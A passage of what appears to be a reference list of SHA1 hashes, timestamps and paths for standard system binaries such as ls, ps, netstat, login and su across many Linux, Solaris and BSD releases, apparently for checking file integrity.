+7CC68B0A175435308D1D521764A085CC55D7A8F0 Sun Jul 24 09:57:53 2005 /sbin/arp [Mandriva 2006] +8D335A2B1DB616DB10C65728C31A249EF7C16F65 Sun Jul 24 09:57:53 2005 /bin/netstat [Mandriva 2006] +9DA6DD7CAFD9EFE64F8F829F84A0C3EA590C7315 Thu Aug 4 16:05:14 2005 /bin/find [Mandriva 2006] +B05FD971450FC31A7DBBAD70313508D0B8AEB42F Wed Aug 17 14:00:55 2005 /usr/bin/telnet [Mandriva 2006] +434E866022F8F08D079C9D9BB7733A06537E66F6 Thu Aug 18 20:52:17 2005 /bin/su [Mandriva 2006] +D83311206D90D5D549C6B6C87DB9CB891C64886A Thu Aug 18 20:52:16 2005 /bin/rm [Mandriva 2006] +8A9F28FFAECE4FF4BE682FAEBF1A27ED8A8B1B79 Thu Aug 18 20:52:16 2005 /bin/ls [Mandriva 2006] +984CEDD8397362695AAE450EA368BF9E1C1A8656 Tue Sep 13 14:20:53 2005 /usr/bin/login [Mandriva 2006] +E4C1782F0D4F459E06A30708CE9FA03AE0CBE82F Sat Sep 17 13:01:44 2005 /usr/bin/w [Mandriva 2006] +3DFF61BC3295DA77704103D1E2CEC77DFADD5DFF Sat Sep 17 13:01:44 2005 /bin/ps [Mandriva 2006] +65799793F85AC8018E5F3761DBDD856A45D52593 Tue Sep 20 18:14:51 2005 /bin/login [Mandriva 2006] +A80309D21436AF7627DBBD5D0C83F1AF17C9FC14 Sun Jun 12 23:02:25 2005 /bin/sh [Mandriva 2006] +9DA6DD7CAFD9EFE64F8F829F84A0C3EA590C7315 Thu Aug 4 16:05:14 2005 /usr/bin/find [Mandriva 2006] +B7EC65AEE34328E90913C082A9519880817B9CB6 Sun Aug 14 09:41:19 2005 /sbin/modinfo [Mandriva 2006] + +88EBCCB2E3A5BB4CE826FF4550628E06691C7551 Thu Jul 13 01:22:18 2006 /usr/sbin/in.tftpd [RedHat Enterprise 5.3] +8A00C1AC83815BB77F832D1F40CE6A29BA299D86 Wed Dec 6 15:13:36 2006 /usr/sbin/xinetd [RedHat Enterprise 5.3] +5AA74B9F7D54174006AF12C6320018D7A1DE5DFA Wed Oct 24 14:05:17 2007 /usr/bin/telnet [RedHat Enterprise 5.3] +49425F4AC92DF3EC0EC51D4B3B5C80FF6C1C2488 Fri Apr 18 09:54:11 2008 /sbin/arp [RedHat Enterprise 5.3] +301A9F6208878451A7000E24119FB7B853DEF397 Fri Apr 18 09:54:11 2008 /bin/netstat [RedHat Enterprise 5.3] +88A633CAE8DD395B09D7551955B9DD4C26400A98 Mon Jul 7 08:33:05 2008 /usr/bin/find [RedHat Enterprise 5.3] +AFF555D27711C993654499AE6ED7C542BE95BDAA Thu Oct 30 19:17:08 2008 /bin/su [RedHat Enterprise 5.3] +E9652F4F87FE3001C730C063019206F9107E99DE Thu Oct 30 19:17:16 2008 /bin/rm [RedHat Enterprise 5.3] +AA62F048D92290590104A6D5B95E56BF49E2D8E6 Thu Oct 30 19:17:16 2008 /bin/ls [RedHat Enterprise 5.3] +807A5AB5F7FCE4A1508B01A60BBDEB76A5B7FE09 Tue Nov 11 17:23:57 2008 /sbin/modinfo [RedHat Enterprise 5.3] +3ACED0527F098F66DB96B14F86F26EFFCD737F05 Tue Nov 25 23:15:24 2008 /bin/login [RedHat Enterprise 5.3] +90AEBCA764BD1F4547712CB855A7D4D849B43CF3 Wed Dec 3 10:32:54 2008 /usr/bin/w [RedHat Enterprise 5.3] +77B4C03DDB47841B387236CC4E701397E098CB34 Wed Dec 3 10:32:54 2008 /bin/ps [RedHat Enterprise 5.3] +07A82C1C0378993F7386B6BFB34934B31595E474 Tue Oct 21 12:13:16 2008 /bin/sh [RedHat Enterprise 5.3] + +FA27B8C451E665B87D8C193FF2B7EEBCF6E0127A Wed Oct 24 17:53:10 2007 /usr/sbin/update-inetd [Ubuntu 8.04] +D8DFDF41A4079837720243E9603007F6009AD51F Thu Dec 13 10:51:45 2007 /usr/sbin/arp [Ubuntu 8.04] +B39C447172AB8825BAC361036B6872B5E91284AA Thu Dec 13 10:51:45 2007 /bin/netstat [Ubuntu 8.04] +313A170DA05A5EE9D10E46967F1F472275B46B53 Mon Feb 25 21:20:32 2008 /sbin/modinfo [Ubuntu 8.04] +7CBCD8AA6DF2FFBFBE783AE7FE7D1EA5A790ED81 Thu Mar 13 22:24:47 2008 /bin/ps [Ubuntu 8.04] +E67CACFB5A56142793129DACA0A080B21860B948 Wed Apr 2 14:22:14 2008 /usr/bin/find [Ubuntu 8.04] +B43226DC595ED6A1AE327C99BC654C57818A39F3 Thu Apr 3 01:08:51 2008 /bin/su [Ubuntu 8.04] +0BA3A17F19A617036F9AA21D064109F1834EB46F Thu Apr 3 01:08:51 2008 /bin/login [Ubuntu 8.04] +0B7CB6E7836DAB38E9DD21708560E68DA1FDF10E Fri Apr 4 06:42:37 2008 /bin/rm [Ubuntu 8.04] +BFB9B77A29318FC6A075323C67AF74D5E3071232 Fri Apr 4 06:42:37 2008 /bin/ls [Ubuntu 8.04] +3877DCB9DA20EC5F446202526144F488C8F07CE0 Wed Mar 12 11:22:28 2008 /bin/sh [Ubuntu 8.04] +1AFB9E68B386BE6926900BF05585F9D8FFF4ECF2 Thu Mar 13 22:24:47 2008 /usr/bin/w [Ubuntu 8.04] +C04BBC430FDB314DEB9F3AC8900339AC8D4F16A3 Mon Dec 18 02:16:46 2006 /usr/bin/telnet [Ubuntu 8.04] + +16D65CF05200881D744C482646E018D91DA121B1 Thu Apr 3 17:53:15 2008 /usr/bin/find [Debian 5.0 x86_64] +9567A981C79E33819762E3C5D3961EFAA43C9042 Fri Apr 4 14:58:40 2008 /bin/rm [Debian 5.0 x86_64] +8FEBAD20D4332BD4928BF0DD35CBA29116782A01 Sat Apr 5 02:06:07 2008 /sbin/modinfo [Debian 5.0 x86_64] +F1BC961389896EE182DD6FA2830476E862DE3008 Thu Sep 4 18:59:03 2008 /usr/sbin/update-inetd [Debian 5.0 x86_64] +5901765B9F62EEB2CDE100AC2FC3CC7D72DA0593 Sun Nov 16 17:06:12 2008 /usr/sbin/arp [Debian 5.0 x86_64] +54D38583EBF341015FEDDFD96F1361956EB60470 Sun Nov 16 17:06:12 2008 /bin/netstat [Debian 5.0 x86_64] +CBB8CE584A89A56C6299CA691751B8C216CC1AA0 Sat Nov 22 18:13:52 2008 /bin/su [Debian 5.0 x86_64] +5BBC3B759499FB20D9DC811D74CBB64C9FD973B5 Sat Nov 22 18:13:52 2008 /bin/login [Debian 5.0 x86_64] +C34642050FF74DA377C3AF80539E13EB28C69142 Mon Dec 15 01:23:23 2008 /usr/sbin/inetd [Debian 5.0 x86_64] +F88B82F7FFBFEF734E6ABBBE4364BCCD86F4A490 Sun Jan 11 22:08:40 2009 /bin/ps [Debian 5.0 x86_64] +6E5AB1C03AA1FA610D0BBFF7A2D7FDAF2CD7C884 Mon May 12 17:00:33 2008 /bin/sh [Debian 5.0 x86_64] +07FFFBB3448ED2C900844D2767CD6EA712DF1E12 Sun Jan 11 22:08:40 2009 /usr/bin/w [Debian 5.0 x86_64] +13828B77A9064DB7873796018AD1FEF1E6475D62 Tue Jul 22 16:05:50 2008 /usr/bin/telnet [Debian 5.0 x86_64] +BC2591610270BFFED20801056379421566840349 Wed Mar 10 21:36:20 2010 /bin/ls [Debian 5.0 x86_64] + +793793420947B93821EF180975B335A4B6D20650 Sun Apr 23 02:04:11 2006 /usr/bin/telnet [SuSE 10.1 x86_64] +8B858DE835271359D6E7084DC6B7B02450BF5508 Sun Apr 23 02:11:05 2006 /usr/bin/find [SuSE 10.1 x86_64] +A4F2A6B85199235462919DC36EE46DA94CB2F682 Sun Apr 23 03:38:40 2006 /usr/bin/w [SuSE 10.1 x86_64] +84175201A7DB3707ABF372BCEBE3563C368E3211 Sun Apr 23 03:38:40 2006 /bin/ps [SuSE 10.1 x86_64] +D1449810CE95AA8173149D429EE9223B7DF5F725 Sun Apr 23 03:41:20 2006 /sbin/arp [SuSE 10.1 x86_64] +B8A790ABB41D722962D4C2E83BF4DF926F39DCD4 Sun Apr 23 03:41:20 2006 /bin/netstat [SuSE 10.1 x86_64] +7D8568E4B8B2132788E0B69E2A5238667CDB62CD Sun Apr 23 04:24:18 2006 /bin/su [SuSE 10.1 x86_64] +22AAC86B74F6504FF13CD83BB20F0699ADBE1821 Sun Apr 23 04:24:18 2006 /bin/rm [SuSE 10.1 x86_64] +8CB7BC4E1ED0C0277B901B340ACBFE8F78DC6EC9 Sun Apr 23 04:24:18 2006 /bin/ls [SuSE 10.1 x86_64] +508CCAEE587346037E17CAEA4A6493EEC07DD886 Tue May 2 09:02:24 2006 /bin/login [SuSE 10.1 x86_64] +EBADB96D583E82FEF8E95CFAA4F238AB9043E553 Tue May 2 13:31:28 2006 /sbin/modinfo [SuSE 10.1 x86_64] +7A9AC26D0CA7F829F1F3D4F479D95D9780FB867B Sun Apr 23 00:50:53 2006 /bin/sh [SuSE 10.1 x86_64] + +A56BD090BF9C945D5240A60447A23F04A845835D Fri Sep 21 21:50:34 2007 /usr/bin/w [SuSE 10.3] +842CFE2E8899DC70DF6154BA1E26348D0F139FA8 Fri Sep 21 21:50:34 2007 /bin/ps [SuSE 10.3] +6DC35C487E3040FD54F4E804FCD8559F0AC141F2 Fri Sep 21 21:50:56 2007 /sbin/modinfo [SuSE 10.3] +EC2A9326550F4D4B649823FE404AA3F90517B435 Fri Sep 21 21:54:24 2007 /usr/bin/find [SuSE 10.3] +6F1ED3EEFDAC7E0CDBC91C71AF09538EBDBCD781 Fri Sep 21 22:07:28 2007 /sbin/arp [SuSE 10.3] +59A34C12483AE3F1D5B7A14EE4278BBEAF7FFBB1 Fri Sep 21 22:07:28 2007 /bin/netstat [SuSE 10.3] +FE4C1ADD0F80ED12AA5421CD55388F98C4996CB2 Fri Sep 21 23:43:36 2007 /bin/su [SuSE 10.3] +59CF9A3D2ACC9F971EFC2FECBBF7E5095139EEA5 Fri Sep 21 23:43:36 2007 /bin/rm [SuSE 10.3] +335818447781126BB45D3B003F96FE8B755B1070 Fri Sep 21 23:43:36 2007 /bin/ls [SuSE 10.3] +CF57210E334952785B2ACD20BB74E08DE6958014 Sat Sep 22 00:48:31 2007 /bin/login [SuSE 10.3] +9A75EFA246E2B57FD138EE43585B48AAB9BCF1AF Fri Sep 21 22:16:17 2007 /bin/sh [SuSE 10.3] +9A75EFA246E2B57FD138EE43585B48AAB9BCF1AF Fri Sep 21 22:16:17 2007 /usr/bin/sh [SuSE 10.3] + +B52EEBC9A952306881A2FA9843F7D3E55CCFAC60 Tue Jul 28 05:19:39 2009 /usr/bin/w [Fedora 12] +7BB2E259C50C5534C0A74A63AE91866728C4EBE4 Tue Jul 28 05:19:39 2009 /bin/ps [Fedora 12] +3C0F8BE2972FA3AD01BC4D23D4852FD6DC5577DE Tue Sep 1 13:31:54 2009 /sbin/arp [Fedora 12] +C35F823B495E481DAA628E90A4961B76E4D77ABE Tue Sep 1 13:31:54 2009 /bin/netstat [Fedora 12] +47CE6C4F04215961C4BD28492D74479974BEA91F Wed Sep 2 14:54:26 2009 /usr/bin/telnet [Fedora 12] +33AFC11D2F25E9379D738CABB12AF94D7BFADA21 Tue Sep 22 14:01:58 2009 /bin/su [Fedora 12] +981504DF286EC9258FDFF3D70A3CECE840DADF91 Tue Sep 22 14:01:59 2009 /bin/rm [Fedora 12] +9184D40C46E457775994D09D366F6BD4692DFD16 Tue Sep 22 14:01:59 2009 /bin/ls [Fedora 12] +27879A4E4F52D6BD4B740632DDB7F994293AE89C Mon Oct 5 15:28:04 2009 /bin/login [Fedora 12] +2CB7A3116B1678DD78A047225441ADEF23A5D4F7 Tue Oct 20 12:58:45 2009 /bin/find [Fedora 12] +9EC451FA6A3990ED5FE44AB2F7EC3090C03E5E7B Wed Oct 21 04:26:04 2009 /sbin/modinfo [Fedora 12] +850425F2EF0CB360D4598271FC4298894D21A061 Wed Sep 16 10:15:30 2009 /bin/sh [Fedora 12] +2CB7A3116B1678DD78A047225441ADEF23A5D4F7 Tue Oct 20 12:58:45 2009 /usr/bin/find [Fedora 12] + +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.4 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.4 x86_64] +2935F622154EABD65DB395783AA226D491C0DEA6 Fri Apr 18 09:54:05 2008 /sbin/arp [RedHat Enterprise 5.4 x86_64] +DDEAB63BF1C7EAE86E10BCEF77BC509B7E906F5C Fri Apr 18 09:54:05 2008 /bin/netstat [RedHat Enterprise 5.4 x86_64] +EF404C56E54048687EAC3BAED75A06B18423C51E Wed Dec 3 10:32:57 2008 /usr/bin/w [RedHat Enterprise 5.4 x86_64] +C02911BB4AAA0E17F17455F500799DCF004A66EC Wed Dec 3 10:32:57 2008 /bin/ps [RedHat Enterprise 5.4 x86_64] +A37E3E187BD8BBD849F0147D4C8590769FC7FE4E Tue May 19 13:50:46 2009 /usr/sbin/in.tftpd [RedHat Enterprise 5.4 x86_64] +0AA1F2F090944CB994389884D3A478C97858775C Fri Jul 3 11:17:03 2009 /bin/login [RedHat Enterprise 5.4 x86_64] +FF6ED9BB8E9D71D9C3CDCB28543BC629B7AAE917 Sat Jul 4 02:36:31 2009 /sbin/modinfo [RedHat Enterprise 5.4 x86_64] +4BA52622347F725F6697AD7C7FB20B6862A23759 Mon Jul 13 10:21:47 2009 /bin/su [RedHat Enterprise 5.4 x86_64] +4E4E75CE650BE2192D956A5F6B56240F50581F15 Mon Jul 13 10:21:58 2009 /bin/rm [RedHat Enterprise 5.4 x86_64] +9BCC1D41C003120DF94A126600FFEC6640D1D0EA Mon Jul 13 10:21:58 2009 /bin/ls [RedHat Enterprise 5.4 x86_64] +4710357E270F0E2C27F25E8ABEC3490D5EF10FCE Tue Jul 14 10:31:43 2009 /usr/bin/find [RedHat Enterprise 5.4 x86_64] +EF1F21DF66B0FE2B99C207E6425B68C2A0766671 Tue Oct 21 12:13:18 2008 /bin/sh [RedHat Enterprise 5.4 x86_64] + +28B231738CD44936469C6C78C5BB671C68AB58E2 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic_118833-22] +195A2BAF2C940B9DF444A928DB89BF155DBE8FC6 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rshd [Solaris 2.10 Generic_118833-22] +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_118833-22] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_118833-22] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_118833-22] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_118833-22] +2A0AC3329C6E52FF0B0AF573D9230868789B6DE6 Sun Jan 23 01:48:32 2005 /usr/sbin/arp [Solaris 2.10 Generic_118833-22] +76F7578EC8F4ECA1A69B9506C0A9E069B9E9737F Sun Jan 23 01:48:12 2005 /bin/rm [Solaris 2.10 Generic_118833-22] +76F7578EC8F4ECA1A69B9506C0A9E069B9E9737F Sun Jan 23 01:48:12 2005 /usr/bin/rm [Solaris 2.10 Generic_118833-22] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_118833-22] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic_118833-22] +BCB8BFCF0C84886C870DCDC8198169EAB5F4FDF5 Sat Mar 26 00:06:46 2005 /bin/telnet [Solaris 2.10 Generic_118833-22] +BCB8BFCF0C84886C870DCDC8198169EAB5F4FDF5 Sat Mar 26 00:06:46 2005 /usr/bin/telnet [Solaris 2.10 Generic_118833-22] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /bin/su [Solaris 2.10 Generic_118833-22] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /usr/bin/su [Solaris 2.10 Generic_118833-22] +A467B005ED19F7683DE028FA670211BDA5BFBC3B Mon Jun 6 22:22:38 2005 /usr/sbin/in.ftpd [Solaris 2.10 Generic_118833-22] +17646E6291EE96A4180C0DDE76C44A808F630A4F Wed Oct 26 22:18:39 2005 /sbin/sh [Solaris 2.10 Generic_118833-22] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /bin/netstat [Solaris 2.10 Generic_118833-22] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /usr/bin/netstat [Solaris 2.10 Generic_118833-22] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /bin/ls [Solaris 2.10 Generic_118833-22] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /usr/bin/ls [Solaris 2.10 Generic_118833-22] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /bin/find [Solaris 2.10 Generic_118833-22] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /usr/bin/find [Solaris 2.10 Generic_118833-22] +4989A29E7D2FC088766950845F9CA3044866BD1C Fri Apr 28 20:26:49 2006 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_118833-22] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_118833-22] +0DBC9948E583CE2AF48FA453194C2899B0367140 Thu Feb 15 15:07:20 2007 /usr/sbin/in.telnetd [Solaris 2.10 Generic_118833-22] +17646E6291EE96A4180C0DDE76C44A808F630A4F Wed Oct 26 22:18:39 2005 /bin/sh [Solaris 2.10 Generic_118833-22] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /sbin/su [Solaris 2.10 Generic_118833-22] +17646E6291EE96A4180C0DDE76C44A808F630A4F Wed Oct 26 22:18:39 2005 /usr/bin/sh [Solaris 2.10 Generic_118833-22] +93253EE50A4366CA7CB05E94F33BC96249C4A7D0 Tue May 2 21:38:09 2006 /usr/sbin/inetd [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_118833-22] +BCB8BFCF0C84886C870DCDC8198169EAB5F4FDF5 Sat Mar 26 00:06:46 2005 /usr/ucb/telnet [Solaris 2.10 Generic_118833-22] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /usr/ucb/netstat [Solaris 2.10 Generic_118833-22] + +44A52252554D2606C92B16524CD8B352F7620C39 Fri Sep 3 19:53:18 2004 /usr/sbin/inetd [Slackware 11.0] +5F9C445E9FAF5AC6B688FD037423A7A821D01EEB Thu Apr 27 23:47:08 2006 /usr/sbin/proftpd [Slackware 11.0] +03C9C1C963EFCA2E16C0303CCF2A40CB86079008 Sun Jun 25 01:59:26 2006 /bin/rm [Slackware 11.0] +E9CE345159189022B81BB9D7B7D0C89476FD4022 Sun Jun 25 01:59:26 2006 /bin/ls [Slackware 11.0] +37B709113EDBEB4AA13F24695E2F00D00270A388 Mon Jun 26 00:36:31 2006 /usr/bin/w [Slackware 11.0] +89723F3A91F08B1DDB615163CE4B338D328360CE Mon Jun 26 00:36:31 2006 /bin/ps [Slackware 11.0] +AC3A3031824D3B5A31B4162A125B07596296CA7A Mon Aug 7 01:50:01 2006 /usr/sbin/vsftpd [Slackware 11.0] +DB1DD216C50A063A06C1E62804C4DDB4B1AC20B8 Tue Aug 8 04:11:23 2006 /usr/bin/find [Slackware 11.0] +46BFD204286CBC4DD11A23269C3C6ED77D92EFC5 Sun Aug 13 22:18:42 2006 /sbin/arp [Slackware 11.0] +9D78B0D23ADB1BECBE8D5EB7290196A65F3D2B4E Sun Aug 13 22:18:42 2006 /bin/netstat [Slackware 11.0] +69D51862C2306CCAF5A5E5F7A2A12366F9BABB82 Sun Aug 13 22:19:15 2006 /usr/sbin/in.rshd [Slackware 11.0] +022962A3261303200BB1A4BDA940A43CD5F427B6 Sun Aug 13 22:19:15 2006 /usr/sbin/in.rlogind [Slackware 11.0] +59397F872BF8BE07DAB26D56EEB1929C288ABF42 Sun Aug 13 22:19:27 2006 /usr/sbin/in.telnetd [Slackware 11.0] +3E2D1639189387A7A3FACB536400F5819321D22D Sun Aug 13 22:19:48 2006 /usr/sbin/in.tftpd [Slackware 11.0] +4D52968DF589AC12625A182BCA385B96A5C25CAE Sun Aug 13 22:19:33 2006 /bin/telnet [Slackware 11.0] +C8A6BB3536D51D433B3EA16322AF71D9E40B25AA Tue Aug 22 20:08:46 2006 /bin/su [Slackware 11.0] +687AE699CE6213B4676D0A359696A9FD4A1B4E6C Tue Aug 22 20:08:46 2006 /bin/login [Slackware 11.0] +4269BF9126315F740DB2F078DB1C43EA5C51E291 Mon Sep 11 06:10:20 2006 /sbin/modinfo [Slackware 11.0] +2AEA48492EC1A719E52E9A1B31D3D3864D9C3E68 Sat May 13 23:55:59 2006 /bin/sh [Slackware 11.0] +89723F3A91F08B1DDB615163CE4B338D328360CE Mon Jun 26 00:36:31 2006 /usr/bin/ps [Slackware 11.0] +E9CE345159189022B81BB9D7B7D0C89476FD4022 Sun Jun 25 01:59:26 2006 /usr/bin/ls [Slackware 11.0] +03C9C1C963EFCA2E16C0303CCF2A40CB86079008 Sun Jun 25 01:59:26 2006 /usr/bin/rm [Slackware 11.0] +5F9C445E9FAF5AC6B688FD037423A7A821D01EEB Thu Apr 27 23:47:08 2006 /usr/sbin/in.proftpd [Slackware 11.0] + +84C572C4C36479BAF75595252F3EA8EC440EB303 Sat May 3 10:40:09 2008 /usr/sbin/update-inetd [Ubuntu 8.10] +FB0641D828A93AB17DF08E733262D6DB1FE4C517 Mon Jun 9 18:10:31 2008 /bin/su [Ubuntu 8.10] +78B6EB7189B41E898B0297B119B0A3A9EBDAC71E Mon Jun 9 18:10:31 2008 /bin/login [Ubuntu 8.10] +32EEF1747C08362826236E062BF87E26CF0C35B9 Fri Jun 27 00:31:57 2008 /bin/rm [Ubuntu 8.10] +02190C284FEFE4D13945944730EBB41F88C48FE7 Fri Jun 27 00:31:57 2008 /bin/ls [Ubuntu 8.10] +5553EF1A3D5B9C80E91236DA713D01B26F7D9A95 Thu Jul 3 20:08:35 2008 /usr/bin/find [Ubuntu 8.10] +91B18B56BBD53D10C89FF49DAB657BA40138D207 Thu Jul 17 09:13:07 2008 /usr/sbin/arp [Ubuntu 8.10] +D3F872A8F2538CBDE33B1EBAB9929D103EC1033C Thu Jul 17 09:13:07 2008 /bin/netstat [Ubuntu 8.10] +05A93265B8DA1AE10B7DF5801EA603BD431F3A30 Tue Oct 14 15:52:25 2008 /sbin/modinfo [Ubuntu 8.10] +2302EF85B3A04404C734F2CE3F06E983E1A563FA Mon Oct 27 11:16:41 2008 /bin/ps [Ubuntu 8.10] +91654FD25D317BD13A65E10D777AC021F4A1A4F6 Fri Jun 20 16:07:07 2008 /bin/sh [Ubuntu 8.10] +40796FBD3B9C5CD3A5BFA4481985779CD520A0FB Mon Oct 27 11:16:41 2008 /usr/bin/w [Ubuntu 8.10] +C04BBC430FDB314DEB9F3AC8900339AC8D4F16A3 Mon Dec 18 02:16:46 2006 /usr/bin/telnet [Ubuntu 8.10] + +DAEA758463D8A1B5D87DC8BB66ACC8CB607FFE5C Tue Feb 12 07:54:35 2008 /usr/bin/w [Fedora 9] +C0FD0E90E2A32A08ADE8A7293195D62375E33FD4 Tue Feb 12 07:54:35 2008 /bin/ps [Fedora 9] +18966DCE9BB6983C46427C362DB7BE0048BE20B8 Tue Feb 19 00:26:27 2008 /usr/bin/telnet [Fedora 9] +D865AEF251B41727A1605978C6F0EF9B9643B7D6 Tue Mar 4 15:36:08 2008 /sbin/arp [Fedora 9] +FE3EC66766DAC4E0D4221ED67339539FC2A54C9F Tue Mar 4 15:36:08 2008 /bin/netstat [Fedora 9] +8DE813F7CE781F2608E382A890E6D4A1369573BB Wed Apr 2 14:21:18 2008 /bin/login [Fedora 9] +FF8CBCC412C9963617AF578C679B3281A3239323 Mon Apr 7 20:25:46 2008 /bin/su [Fedora 9] +85ACACEAB87B471E877BCF13BA3CC640276BDE1F Mon Apr 7 20:25:51 2008 /bin/rm [Fedora 9] +ABB9223CF209942C4EC89705D645FFDFFD745A4D Mon Apr 7 20:25:51 2008 /bin/ls [Fedora 9] +837A3450035FE9095B2DEBCB47919F802E658A1E Mon Apr 14 11:22:01 2008 /bin/find [Fedora 9] +8099FB268F77DCBD8E5712F07BE2F8B6643E867B Thu May 1 18:12:39 2008 /sbin/modinfo [Fedora 9] +FDB33B14923884398E9B4E8D5ECB3625DDD2DFF7 Fri Feb 29 14:27:02 2008 /bin/sh [Fedora 9] +837A3450035FE9095B2DEBCB47919F802E658A1E Mon Apr 14 11:22:01 2008 /usr/bin/find [Fedora 9] + +010E1F6C3EDF0C3F5A79701A1BA402FE3C9A0597 Fri Jan 5 04:59:59 2007 /usr/bin/find [Fedora 7] +03B05F953DF26F5A7748C7D116536635B212F412 Thu Mar 22 19:12:37 2007 /sbin/modinfo [Fedora 7] +E9D1ACF923A9E28FC992A19187AAE4D316F10C8E Tue Mar 27 07:35:24 2007 /sbin/arp [Fedora 7] +09E30DEAA10FFB53B08E085A5737D23FB8926658 Tue Mar 27 07:35:24 2007 /bin/netstat [Fedora 7] +306BF70F8906654EF3A153EF19D1A8D84FBE94AC Mon Apr 2 15:33:22 2007 /bin/su [Fedora 7] +AA089ED8D8C802AB6DC65F3FC5C664826D14938F Mon Apr 2 15:33:47 2007 /bin/rm [Fedora 7] +121CFC6D57C66D118A2B96CABEE0451308961C91 Mon Apr 2 15:33:47 2007 /bin/ls [Fedora 7] +AED98BA9318431EA479C13E1E3D02A5440B7E9DC Mon Apr 2 23:35:40 2007 /usr/bin/w [Fedora 7] +3DC78C946E5E505930D676994491602A635E5C92 Mon Apr 2 23:35:40 2007 /bin/ps [Fedora 7] +1A431B68BA8B7B321A5132F701C28CE845BA6B11 Fri Apr 6 11:15:42 2007 /bin/login [Fedora 7] +12B56AD6F4F4811A68A0A40741AA24933F645C9D Fri Apr 13 12:31:46 2007 /usr/bin/telnet [Fedora 7] +41510CF78D3A2EBF800BA8EAAC24558462FCE907 Mon Feb 12 15:18:24 2007 /bin/sh [Fedora 7] + +45B1F6EAD94BC6C2DF983C3997C2A2E98E820843 Wed Oct 9 12:44:10 2002 /bin/ps [FreeBSD 4.7] +8B8604BDFAFEDF2DB585BE384064532F84E214A8 Wed Oct 9 12:44:09 2002 /bin/ls [FreeBSD 4.7] +937C0B14CF18B5B84D6E79DFC9F88327EDDBFDAE Wed Oct 9 12:44:11 2002 /bin/sh [FreeBSD 4.7] +7A23FF19059D447331A9518C3B414F88D5741765 Wed Oct 9 12:44:10 2002 /bin/rm [FreeBSD 4.7] +03B18FB56BC4337014BDF3AF1185152B48E9E978 Wed Oct 9 12:46:17 2002 /usr/bin/netstat [FreeBSD 4.7] +4A3187F10DB26F68D561A6B6957F9436B44EE62A Wed Oct 9 12:46:29 2002 /usr/sbin/arp [FreeBSD 4.7] +76BAEB2DFBA1D8A0DBD18A8A14FA29AF78188C94 Wed Oct 9 12:46:11 2002 /usr/bin/find [FreeBSD 4.7] +8724AEB0A3FF1906C3E913F0372B210C946DC339 Wed Oct 9 12:46:32 2002 /usr/sbin/inetd [FreeBSD 4.7] +B354D21EE210AEBCA8703C5D3DB6922B401C94D5 Wed Oct 9 12:46:22 2002 /usr/bin/w [FreeBSD 4.7] +5562C3BDA7E49CF44C29D7466E474E92DBCC286C Wed Oct 9 12:51:15 2002 /usr/bin/su [FreeBSD 4.7] +9783831A0C4CD9AFF169563CAA1BF99F1B8C4AAE Wed Oct 9 12:51:15 2002 /usr/bin/login [FreeBSD 4.7] +A79736D547CD2EBC9BEB0FA02FAE7745B95FD965 Wed Oct 9 12:55:38 2002 /usr/bin/telnet [FreeBSD 4.7] + +28B231738CD44936469C6C78C5BB671C68AB58E2 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic_120011-14] +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 